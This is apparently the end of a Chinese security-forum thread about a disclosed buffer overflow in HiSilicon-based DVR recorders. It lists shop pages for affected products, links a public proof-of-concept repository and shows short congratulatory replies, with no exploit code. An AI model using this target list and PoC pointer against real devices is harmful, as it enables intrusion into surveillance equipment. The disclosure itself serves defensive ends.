[https://www.beylerbeyiguvenlik.com.tr/kayitcihazlari-beylerbeyi.html ](https://www.beylerbeyiguvenlik.com.tr/kayitcihazlari-beylerbeyi.html)
[http://www.novicam.ru/index.php?route=product/ product&product_id = 429 ](http://www.novicam.ru/index.php?route=product/product&product_id=429)
[http://www.espuk.com/uploads/catalogue/HDview%20catalogue%202015.pdf ](http://www.espuk.com/uploads/catalogue/HDview%20catalogue%202015.pdf)
[http://www.ebay.com/itm/SNOWDON-8-CHANNEL-PROFESSIONAL-CCTV-NETWORK-DVR- MACHINE-SYSTEM-H-264-1TB-500GB- / 172250300884 ](http://www.ebay.com/itm/SNOWDON-8-CHANNEL-PROFESSIONAL-CCTV-NETWORK-DVR-MACHINE-SYSTEM-H-264-1TB-500GB-/172250300884)
[http://giraffe.by/catalog/tsifrovye-videoregistratory ](http://giraffe.by/catalog/tsifrovye-videoregistratory)
[http://www.winpossee.com/en/list/?17_1.html ](http://www.winpossee.com/en/list/?17_1.html)
[http:// tesamed .com.pl / rejestrator-cyfrowy-vtv-n-1016-vtvision-dvr-16-kanalowy-p-532.html ](http://tesamed.com.pl/rejestrator-cyfrowy-vtv-n-1016-vtvision-dvr-16-kanalowy-p-532.html)
[http://hiq-electronics.ru/videoregistratory ](http://hiq-electronics.ru/videoregistratory)
[http://www.eltrox.pl/catalogsearch /结果/ q = easycam + rejestrator&顺序= v_117002&DIR =降序](http://www.eltrox.pl/catalogsearch/result/?q=easycam+rejestrator&order=v_117002&dir=desc)
[http://www.x5tech.com.tr/?cmd=UrunListe&GrupNo=265&t=0 ](http://www.x5tech.com.tr/?cmd=UrunListe&GrupNo=265&t=0)
[http://bigit.ro/dvr-16-canale-hybrid-full-d1-asrock-as-616tel.html ](http://bigit.ro/dvr-16-canale-hybrid-full-d1-asrock-as-616tel.html)
[http:/ /secur.ua/videonablyudenie/ustroystva-zapisi/dvr/?brand_vreg=1557 ](http://secur.ua/videonablyudenie/ustroystva-zapisi/dvr/?brand_vreg=1557)
<http://www.divitec.ru/videoregistratoryi-divitec-idvr/>


这个缓冲区溢出漏洞(利用PoC代码)已经通过Beyond Security的 SecuriTeam安全披露 (SSD)程序公开,用户需要自己尽快更新设备




设备总量还是挺大的

参考信息

https://github.com/mcw0/pwn-hisilicon-dvr/blob/master/README.adoc



[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
点赞2
打赏
分享
最新回复 (7)
雪    币: 652
活跃值: (1223)
能力值: ( LV9,RANK:150 )
在线值:
发帖
回帖
粉丝
Iam0x17 1 2019-4-22 21:00
2
0
鹏哥真是个人才
雪    币: 3051
活跃值: (1392)
能力值: ( LV13,RANK:480 )
在线值:
发帖
回帖
粉丝
0xbird 7 2019-4-22 21:05
3
0
VicZ 鹏哥真是个人才
超哥才是大佬
雪    币: 32402
活跃值: (18850)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 8 2019-4-23 07:45
4
0
论坛MD缓存有bug,导致重复的发帖已删除了。
再次感谢分享!
雪    币: 3051
活跃值: (1392)
能力值: ( LV13,RANK:480 )
在线值:
发帖
回帖
粉丝
0xbird 7 2019-4-23 08:52
5
0
谢谢老师  md一直提交不上去
雪    币: 3366
活跃值: (105)
能力值: (RANK:10 )
在线值:
发帖
回帖
粉丝
starwav 2019-6-29 19:39
6
0
那是当然。鹏哥,我,是允许接听你的电话的
雪    币: 1101
活跃值: (51)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ioshackery 2019-7-2 16:11
8
0
一个字,牛
游客
登录 | 注册 方可回帖
返回